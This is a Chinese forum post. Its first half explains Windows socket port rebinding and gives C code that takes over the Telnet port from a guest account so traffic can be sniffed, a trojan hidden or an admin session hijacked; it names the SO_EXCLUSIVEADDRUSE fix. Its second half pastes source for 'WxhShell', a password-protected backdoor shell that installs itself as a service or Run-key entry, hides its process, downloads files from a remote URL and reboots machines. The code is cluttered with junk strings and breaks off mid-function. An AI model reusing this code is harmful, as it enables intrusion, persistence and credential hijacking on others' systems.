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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: W5:S+  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); =KT7ZSTV  
O\OG~`HBN  
  saddr.sin_family = AF_INET; )." zBc#  
ika{>hbH  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); >~J_9'gX6  
4)9X) Qx  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); SVXey?A;CJ  
x#dJH9NR[  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 @R}L 4  
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  这意味着什么?意味着可以进行如下的攻击: 7"4|`y^#  
iO#H_&L.p  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 "_'9KBd!  
@oYq.baHX  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) n2 ,b~S\e  
L6$,<}l  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 1Sz5&jz  
>!? f6 {\|  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  P9`i6H'~  
~`tc|Zu  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 k1-?2kf"{  
?\hXJih  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 B5B'H3@  
&;9<a^td  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 /q='~t  
s'\"%~nF<  
  #include F$F5N1<  
  #include ~>}BDsM  
  #include AH=6xtS-  
  #include    Y<#7E;aL  
  DWORD WINAPI ClientThread(LPVOID lpParam);   XfbkK )d  
  int main() `! m+g0  
  { ['-ln)96.  
  WORD wVersionRequested; N.eSf  
  DWORD ret; 7SAu">lIl  
  WSADATA wsaData; oL }FD !}  
  BOOL val; z=)5M*h  
  SOCKADDR_IN saddr; "P<~bw5   
  SOCKADDR_IN scaddr; &B3\;|\  
  int err; [+GQ3Z\  
  SOCKET s; T_AZCl4d  
  SOCKET sc; FIU( 2  
  int caddsize; |BYD]vK  
  HANDLE mt; E?Q=#+}U  
  DWORD tid;   X[;4.imE  
  wVersionRequested = MAKEWORD( 2, 2 ); 2b|vb}|t{  
  err = WSAStartup( wVersionRequested, &wsaData ); wZrdr4j  
  if ( err != 0 ) { Bfw>2  
  printf("error!WSAStartup failed!\n"); Mm.!$uR  
  return -1; (:T~*7/"  
  } DU1,i&(  
  saddr.sin_family = AF_INET; [U3z*m>e;  
   $#Ji=JX  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 8-8= \  
 XyhO d$)  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Fd'Ang6"  
  saddr.sin_port = htons(23); e`}|*^-  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) hDp'=}85@  
  { M5)6|T  
  printf("error!socket failed!\n"); k, v.U8  
  return -1; ;yk@`<  
  } QG9 2^  
  val = TRUE; kt;X|`V{5z  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ~=c^ Oo:  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 8%nTDSp&t  
  { ,9+@\  
  printf("error!setsockopt failed!\n"); K{|;'N-1  
  return -1; 5jjJQ'  
  } 5gJQr%pS  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; .-Ao%A W  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 I|R9@  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 J::SFu=  
Jge;/f!i  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) HVu_@[SYR3  
  { )0d3sJ8  
  ret=GetLastError(); ! B)Em  
  printf("error!bind failed!\n"); lXz<jt@5  
  return -1; jJ?3z ,h  
  } $fh?(J  
  listen(s,2); $W0lz#s:  
  while(1) p(x[zn+%Y  
  { l{y~N  
  caddsize = sizeof(scaddr); ~sA}.7  
  //接受连接请求 2+?M(=4  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 8H{@0_M  
  if(sc!=INVALID_SOCKET) }D|"$*  
  { beIEy(rA  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 1[}VyP6 e  
  if(mt==NULL) 8Ipyr%l  
  { bo@1c0  
  printf("Thread Creat Failed!\n"); !J6k\$r  
  break; S:R%%cy  
  } b1s1;8Q  
  } h"<rW7z  
  CloseHandle(mt); 4Q!*h8O  
  } i-/'F  
  closesocket(s); &i!.6M2  
  WSACleanup(); thq(tK7  
  return 0;  lual'~  
  }   rN>f"/J |  
  DWORD WINAPI ClientThread(LPVOID lpParam) naAZR*(A  
  { Q04N  
  SOCKET ss = (SOCKET)lpParam; jdoI)J@9H  
  SOCKET sc; fM8 :Nt$  
  unsigned char buf[4096]; M\T6cN@m  
  SOCKADDR_IN saddr; sM-k,0z  
  long num; XfY]qQP  
  DWORD val; ^srx/6X  
  DWORD ret; 7DT9\BT  
  //如果是隐藏端口应用的话,可以在此处加一些判断 7j@TW%FmV\  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   N b+zP[C  
  saddr.sin_family = AF_INET; /)v X|qtIY  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); PY) 74sa  
  saddr.sin_port = htons(23); EpPKo  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) @mw1(J  
  { `qUmOFl  
  printf("error!socket failed!\n"); "|&SC0*  
  return -1; A2htD!3  
  } ?_ p3^kl  
  val = 100; t*n!kXa  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) l$z-'  
  { Pc1vf]  
  ret = GetLastError(); 6&h,eQ!  
  return -1; q?JP\_o:  
  } 5J1,Usm  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) +AXui|mn  
  { $,bLb5}Qu  
  ret = GetLastError(); !WAbO(l  
  return -1; 9D-PmSnv  
  } [9*+s  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) |"\A5v|1  
  { = q;ACW,z  
  printf("error!socket connect failed!\n"); Sh=z  
  closesocket(sc); Z+FJ cvYx  
  closesocket(ss); o5A@U0c_  
  return -1; T&cf6soo  
  } 1XL^Zhr  
  while(1) MT}9T  
  { a$"3T  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ?3"lI,!0  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Pe~[qETv  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 X`#vH8  
  num = recv(ss,buf,4096,0); REc69Y.k  
  if(num>0) THkg,*;:  
  send(sc,buf,num,0); }-!0d*I  
  else if(num==0) -I '#G D>  
  break; Jro)  
  num = recv(sc,buf,4096,0); 8FU8E2zo  
  if(num>0) }cEcoi<v!  
  send(ss,buf,num,0); 9K~X}]u  
  else if(num==0) <Zn]L:  
  break; b-\ 1D;]  
  } 2w+w'Ag_R  
  closesocket(ss); G[@RZ~o4  
  closesocket(sc); <V>]-bl/  
  return 0 ; 4Zo.c* BZ  
  } Wv8?G~>  
Y'mtMLfMc  
=g UOHH  
========================================================== RGf&KV/  
RG0kOw0  
下边附上一个代码,,WXhSHELL J>TNyVaoQ  
#;z;8q  
========================================================== $mgW|TBXCQ  
gwm!Pw j  
#include "stdafx.h" X0.kQ  
*%E4 ,(T  
#include <stdio.h> Kejp7 okb  
#include <string.h> wQEsq<  
#include <windows.h> d)1 d0ES  
#include <winsock2.h> SFv'qDA  
#include <winsvc.h> 3f@@|vZF  
#include <urlmon.h> lK 5@qG#  
F2QFQX(j  
#pragma comment (lib, "Ws2_32.lib") g]vo."}5E  
#pragma comment (lib, "urlmon.lib") _Dr9 w&;<  
8BE] A_X  
#define MAX_USER   100 // 最大客户端连接数 %|AebxB'o  
#define BUF_SOCK   200 // sock buffer jmPnUn  
#define KEY_BUFF   255 // 输入 buffer |Bz1u|uc  
[;t-XC?[nk  
#define REBOOT     0   // 重启 -Aaim`06bv  
#define SHUTDOWN   1   // 关机 0"}J!c<g  
kOdXbw9v  
#define DEF_PORT   5000 // 监听端口 WPI<SsLd  
. |%n"{  
#define REG_LEN     16   // 注册表键长度 f$ 9O0,}%O  
#define SVC_LEN     80   // NT服务名长度 hK+6S3-E z  
:y'EIf  
// 从dll定义API 6I2` oag  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 3>M%?d  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); KW-GVe%8f  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 0v+ -yEkw  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ' Dp;fEU$  
o=J-Ju  
// wxhshell配置信息 ~I6N6T Z  
struct WSCFG { 'b)qP|  
  int ws_port;         // 监听端口 :^7>kJ5?  
  char ws_passstr[REG_LEN]; // 口令 jaw&[f 7  
  int ws_autoins;       // 安装标记, 1=yes 0=no 3{$vN).  
  char ws_regname[REG_LEN]; // 注册表键名 VWq]w5oQO  
  char ws_svcname[REG_LEN]; // 服务名 )Zf1%h~0r  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ls7eypKR  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 JTIt!E}P  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 V6Mt;e)C  
int ws_downexe;       // 下载执行标记, 1=yes 0=no @`$'sU  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" J0V`sK  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 k/P.[5  
\?SvO  
}; >)F "lR:o  
zD)/QFILy  
// default Wxhshell configuration ]Hp>~Zvbb  
struct WSCFG wscfg={DEF_PORT, XeX\u3<D  
    "xuhuanlingzhe", n{u\t+f  
    1, &AN1xcx\  
    "Wxhshell", B (Ps/  
    "Wxhshell", cbN;Kv?ak}  
            "WxhShell Service", m g,1*B'  
    "Wrsky Windows CmdShell Service", ^/_Yk.w  
    "Please Input Your Password: ", /~M H]Gh  
  1, o^XDG^35`  
  "http://www.wrsky.com/wxhshell.exe", SQ_Je+X  
  "Wxhshell.exe" pO_IUkt  
    }; j$K*R."  
AbxhNNK  
// 消息定义模块 z',Fa4@z  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; DQT'OZ :w  
char *msg_ws_prompt="\n\r? for help\n\r#>"; [\AOr`7  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";  0j_kK  
char *msg_ws_ext="\n\rExit."; Z\?2"4H  
char *msg_ws_end="\n\rQuit."; 7:,f|>  
char *msg_ws_boot="\n\rReboot..."; 8[;vC$  
char *msg_ws_poff="\n\rShutdown..."; P#O2MiG  
char *msg_ws_down="\n\rSave to "; -Arsmo  
m8ts!6C  
char *msg_ws_err="\n\rErr!"; DmpT<SI+!  
char *msg_ws_ok="\n\rOK!"; H1 I^Vij  
y~fKLIoz"  
char ExeFile[MAX_PATH]; w9{C"K?u=  
int nUser = 0; fqhL"Ah   
HANDLE handles[MAX_USER]; P 0e-v0  
int OsIsNt; jMgXIK\  
[% C,&h5  
SERVICE_STATUS       serviceStatus; s bj/d~$N  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; H T|DT  
Keozn*fzI  
// 函数声明 'C/yQvJ  
int Install(void); ;xZjt4M1  
int Uninstall(void); @(Y!$><Is  
int DownloadFile(char *sURL, SOCKET wsh); 6$6QAW0+f  
int Boot(int flag); ;eN ^'/4A  
void HideProc(void); &W,jR|B  
int GetOsVer(void); &'SD1m1P  
int Wxhshell(SOCKET wsl); K#YQB3rX  
void TalkWithClient(void *cs); .^?zdW  
int CmdShell(SOCKET sock); $P=C7;  
int StartFromService(void); *!%lBt{2  
int StartWxhshell(LPSTR lpCmdLine); U}LW8886  
=eDIvNps  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); * :O"R  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); `&M,B=E  
sU"%,Q5  
// 数据结构和表定义 H_X^)\oJ  
SERVICE_TABLE_ENTRY DispatchTable[] = B1V{3  
{ ovdJ[bO  
{wscfg.ws_svcname, NTServiceMain}, hbJ>GSoZ,  
{NULL, NULL} z5kAf~A  
}; |5bLV^mv]i  
Ttt'X<9  
// 自我安装 F!]Sr'UA  
int Install(void) <7M-?g:vj  
{ y3zP`^  
  char svExeFile[MAX_PATH]; Ix5&B6L8  
  HKEY key; rW:krx9  
  strcpy(svExeFile,ExeFile); );$99t  
TaN{xpo  
// 如果是win9x系统,修改注册表设为自启动 rZ~w_DK*  
if(!OsIsNt) { flsejj$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )h8}{*  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); bC/":+s& p  
  RegCloseKey(key); )th[fUC(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Q?#I{l)V(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2;8m0+tl  
  RegCloseKey(key); `gX@b^  
  return 0; .UG`pRC  
    } ?13qDD:  
  } fSkDD>&  
} |_V(^b}  
else { `POzwYh  
wI$ a1H  
// 如果是NT以上系统,安装为系统服务 {FNkPX  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ?, S/>SP  
if (schSCManager!=0) DN*5q9.  
{ =~B"8@B  
  SC_HANDLE schService = CreateService CMXF[X)%  
  ( AcC &Q:g  
  schSCManager, yD7BZI xW  
  wscfg.ws_svcname, ;-+q*@sa]  
  wscfg.ws_svcdisp, or/gx3  
  SERVICE_ALL_ACCESS, 1~5DIU^  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , qN $t_  
  SERVICE_AUTO_START, 0cd_l 2f#g  
  SERVICE_ERROR_NORMAL, S6TNu+2w4  
  svExeFile, Y;"k5 + q  
  NULL, X@rA2);6  
  NULL, *l+#<5x  
  NULL, LQ jbEYp  
  NULL, d$zJLgkA  
  NULL eTiTS*`u  
  ); [3 Pp NCY  
  if (schService!=0) [nTI\17iA  
  { GJ+^t  
  CloseServiceHandle(schService); P {TJ$  
  CloseServiceHandle(schSCManager); cHs3:F~~  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 8xAV[i  
  strcat(svExeFile,wscfg.ws_svcname); Mo,&h?VOM?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { U1[)eD`  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); M:S-%aQ_<y  
  RegCloseKey(key); \N,ox(f?gW  
  return 0; 9)Fx;GxL  
    } tt"<1 z@  
  } Nep4 J;  
  CloseServiceHandle(schSCManager); &X=7b@r  
} CXa[%{[n  
} eb62(:=N6  
?=VvFfv%  
return 1; " kDiK`i  
} J|`0GDSn  
%#HU~X:  
// 自我卸载 . %RM8  
int Uninstall(void) at: li  
{ xa>| k>I  
  HKEY key; G]^[i6PQs  
#9vC]Gm  
if(!OsIsNt) { BR,-:?z  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { G t w>R  
  RegDeleteValue(key,wscfg.ws_regname); 1F@k9[d~  
  RegCloseKey(key); +r:g}iR  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { g^AQBF  
  RegDeleteValue(key,wscfg.ws_regname); bsIG1&n'T  
  RegCloseKey(key); RK3y q$  
  return 0; x9_mlZ  
  } &m5zd$6  
} Y'v[2s  
} TdtV (  
else { +v Bi7#&  
S;|:ci<[=  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ys[Li.s:  
if (schSCManager!=0) !l:GrT8J  
{ ;nY#/%f  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); =2Y;)wrF  
  if (schService!=0) Knq 9 "k  
  { d2k-MZuT6  
  if(DeleteService(schService)!=0) { gP^2GnjHL8  
  CloseServiceHandle(schService); jL VJ+mu  
  CloseServiceHandle(schSCManager); Fn4v/)*H  
  return 0; }X(&QZ7i`  
  } k+<9 45kC  
  CloseServiceHandle(schService); ^^y eC|~N:  
  } G7Nw}cVJ)  
  CloseServiceHandle(schSCManager); b}e1JPk}!  
} R4?>C-;  
} mH*ldf;J;=  
.3!Wr*o  
return 1; oA1_W).wJ  
} Kxe\H'rR  
h2l;xt  
// 从指定url下载文件 _|k$[^ln^  
int DownloadFile(char *sURL, SOCKET wsh) &2'-v@kK  
{ T$Z9F^w  
  HRESULT hr;   f XD+  
char seps[]= "/"; Q eeV<  
char *token; (In{GA7 ;  
char *file; }@DCcf$<  
char myURL[MAX_PATH]; `lf_wB+I  
char myFILE[MAX_PATH]; [&x9<f6  
ou,[0B3n0  
strcpy(myURL,sURL); MP]<m7669*  
  token=strtok(myURL,seps); k.J%rRneN  
  while(token!=NULL) /dnwN7Gf  
  { <_?zln:4.  
    file=token; kY0HP a  
  token=strtok(NULL,seps); ]5%0EE64  
  } !_I1=yi  
2TK \pfD  
GetCurrentDirectory(MAX_PATH,myFILE); {X{R]  
strcat(myFILE, "\\"); KE?t?p  
strcat(myFILE, file); qwTz7r  
  send(wsh,myFILE,strlen(myFILE),0); cNll??j  
send(wsh,"...",3,0); .i0K-B  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ' jciX]g  
  if(hr==S_OK) q'3{M]Tk  
return 0; (;NJ<x  
else }F08o,`?  
return 1; "N4^ ^~s  
P^Hgm  
} _3IT3mb2n  
,EqQU|  
// 系统电源模块 DE13x *2  
int Boot(int flag) !$I~3_c  
{ t}t(fJHY`  
  HANDLE hToken; iTxWXij  
  TOKEN_PRIVILEGES tkp; xC76jE4  
_[:6.oNjIe  
  if(OsIsNt) { vu0Ql1  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); pn"!wqg  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); gC7!cn  
    tkp.PrivilegeCount = 1; kBUkE-~  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; !Vpi1N\  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); )k<cd.MX  
if(flag==REBOOT) { U1 `5P!ov  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) nnlj#  
  return 0; Z[O hZ 9  
} lZzW- %K  
else { J+D|/^  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) :UwBs  
  return 0; KQ~y;{h?b  
} oZ{,IZ45  
  } HG"ZN)~  
  else { oXo>pl  
if(flag==REBOOT) { ~M~DH-aX  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 5SFr E`  
  return 0; }G4I9Py  
} "&L8d(ZuA  
else { ,%!m%+K9a  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) /*C!]Z>.  
  return 0; \p!UY 3'  
} Ir;JYY!0?  
} Lg4|6.Ez|P  
/R&`]9].s  
return 1; !Uiq3s`1T  
} \zd[A~!  
u%-]-:c  
// win9x进程隐藏模块 pl8b&bLzi  
void HideProc(void) ~cU1 /CW8  
{ (Cr  
 bPsvoG  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); zAB = >v  
  if ( hKernel != NULL ) .zb  
  { q<AnWNheE  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); nD i^s{  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); [^!SkQ  
    FreeLibrary(hKernel); :.PA(97x b  
  } V#G)w~   
<4{m99  
return; 2V~E <K-  
} UfW=/T  
]9!y3"..W{  
// 获取操作系统版本 SIK:0>yK"  
int GetOsVer(void) 0E\#!L  
{ 7_~sa{1R.  
  OSVERSIONINFO winfo; D:`Q\za  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); qrMED_(D  
  GetVersionEx(&winfo); ~+.=  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) z ]f(lwo{  
  return 1; #-|fdcb  
  else 1dvP2E  
  return 0; %oBP6|e  
} zw#n85=  
=r]l"T  
// 客户端句柄模块 Xg~9<BGsi  
int Wxhshell(SOCKET wsl) stiF`l  
{ Wvl~|Sx]  
  SOCKET wsh; >H+t ZV  
  struct sockaddr_in client; e&sH<hWR  
  DWORD myID; c0wLc,)G  
!'_7MM  
  while(nUser<MAX_USER) NX\AQVy9  
{ #cQ5-R -1  
  int nSize=sizeof(client); 'VV U-)(8  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); S(@kdL  
  if(wsh==INVALID_SOCKET) return 1; b5MBzFw  
##mZ97>$  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); v4e4,Nt  
if(handles[nUser]==0) -1Tr!I:1  
  closesocket(wsh); AL":j6!OQ  
else 20I`F>-*  
  nUser++; 2]kGDeSr  
  } k"#gSCW$  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 4?Y7. :x  
aEdA'>  
  return 0; f2~Aug  
} <T>s;b  
MK3h~`is  
// 关闭 socket Y. J!]|  
void CloseIt(SOCKET wsh) \W=3P[gb  
{ qu^g~"s  
closesocket(wsh); #^$_/Q#C  
nUser--; ZtZ3I?%U3  
ExitThread(0); lEl.'X$  
} |ufL s  
brp3xgQ`]  
// 客户端请求句柄 DpggZ|J  
void TalkWithClient(void *cs) )bM,>x  
{ UIDeMz  
yH('Vl  
  SOCKET wsh=(SOCKET)cs; wa<k%_# M  
  char pwd[SVC_LEN]; 3qTr|8`s  
  char cmd[KEY_BUFF]; t U}6^yc  
char chr[1]; )W=O~g  
int i,j; _-BP?'lN  
lU 62$2  
  while (nUser < MAX_USER) { jyD~ER}J  
CHTK.%AQH!  
if(wscfg.ws_passstr) { n*"r!&Dg  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1\}XL=BE  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Z,"4f*2  
  //ZeroMemory(pwd,KEY_BUFF); .Wt3|?\=nd  
      i=0; U 2-{p  
  while(i<SVC_LEN) { z&QfZs  
o/3.U=px~  
  // 设置超时 X<5fn+{]S:  
  fd_set FdRead; tN<X3$aN  
  struct timeval TimeOut; i&m_G5u88  
  FD_ZERO(&FdRead); !p$p 7   
  FD_SET(wsh,&FdRead); R*vQvO%)h  
  TimeOut.tv_sec=8; ,c"J[$i$  
  TimeOut.tv_usec=0; VwH|ed$  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); d<d3j9u(#  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); mhVLlb Y|t  
: %& E58  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -TVwoK  
  pwd=chr[0]; I;Mm+5A  
  if(chr[0]==0xd || chr[0]==0xa) { 3!8(A/YP;  
  pwd=0; 4Q0ZY(2 EO  
  break; N&   
  } 7;|"1H:cmw  
  i++; keC'/\e  
    } YzjRD:  
c#TY3Z|  
  // 如果是非法用户,关闭 socket 0U~$u  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 4GP?t4][  
} |dQz(z&6{5  
!-t w  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); _{c_z*rM8  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?fH1?Z\'K  
%SB4_ r*<  
while(1) { /pjl6dJ t  
"LTw;& y  
  ZeroMemory(cmd,KEY_BUFF); A:ts_*  
=s!0EwDH3  
      // 自动支持客户端 telnet标准   Mv%Qze,\V^  
  j=0; zc8^#D2y&  
  while(j<KEY_BUFF) { vYm-$KQ"o  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); fD@d.8nXd  
  cmd[j]=chr[0]; Xr=BxBttp  
  if(chr[0]==0xa || chr[0]==0xd) { N `:MF 9  
  cmd[j]=0; Yw#fQFm  
  break; 9vP;i= fr  
  } +r'&6Me!  
  j++; kf>3T@  
    } Hk;;+'-  
ewd eC  
  // 下载文件 mH\zSk  
  if(strstr(cmd,"http://")) { i#>t<g`l  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ^85Eveu  
  if(DownloadFile(cmd,wsh)) {Z k^J  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7YD+zd:  
  else FWJ**J  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4_5f4%S  
  } HSysME1X:/  
  else { tkZUjQIX  
s8&q8r7%  
    switch(cmd[0]) { <[\I`kzq  
  +# 'w} P  
  // 帮助 d)1gpRp  
  case '?': { AE>W$x8P  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Bk\Y v0  
    break; o3`U;@&u  
  } p#jAEY p  
  // 安装 iS,l  
  case 'i': { 0F-{YQr>  
    if(Install()) =s":Mx,o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rlR!Tc>  
    else Fc@R,9  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); OY}FtG y  
    break; C0[U}Y/r2  
    } s1Acl\l-uF  
  // 卸载 HhQ0>  
  case 'r': { j~>{P=_}  
    if(Uninstall()) ^Zz^h@+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); lS,Jo/T@  
    else 2c]"*Pb  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ez~5ax7x  
    break; "7y, d%H  
    } *JDz0M4f  
  // 显示 wxhshell 所在路径  7qy PI  
  case 'p': { z*h:Nt%.  
    char svExeFile[MAX_PATH]; 2j8GJU/L  
    strcpy(svExeFile,"\n\r"); iH4LZ  
      strcat(svExeFile,ExeFile); iV/I909*''  
        send(wsh,svExeFile,strlen(svExeFile),0); rs?Dn6:;B  
    break; =gI41Y]  
    } OJpfiZ@Q_  
  // 重启 [TOo 9W  
  case 'b': { chL1r9V)v  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); pp"#pl  
    if(Boot(REBOOT)) s4_Dqm  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >fWGiFmlk  
    else { 3!l>\#q6  
    closesocket(wsh); 9{OO'at?  
    ExitThread(0); 6Yn>9llo}=  
    } (*$F7oO<  
    break; 2pdeJ  
    } rb-ao\  
  // 关机 Ur#jJR@%3  
  case 'd': { x4_MbUe  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); <b H *f w  
    if(Boot(SHUTDOWN)) E#+2)Q  
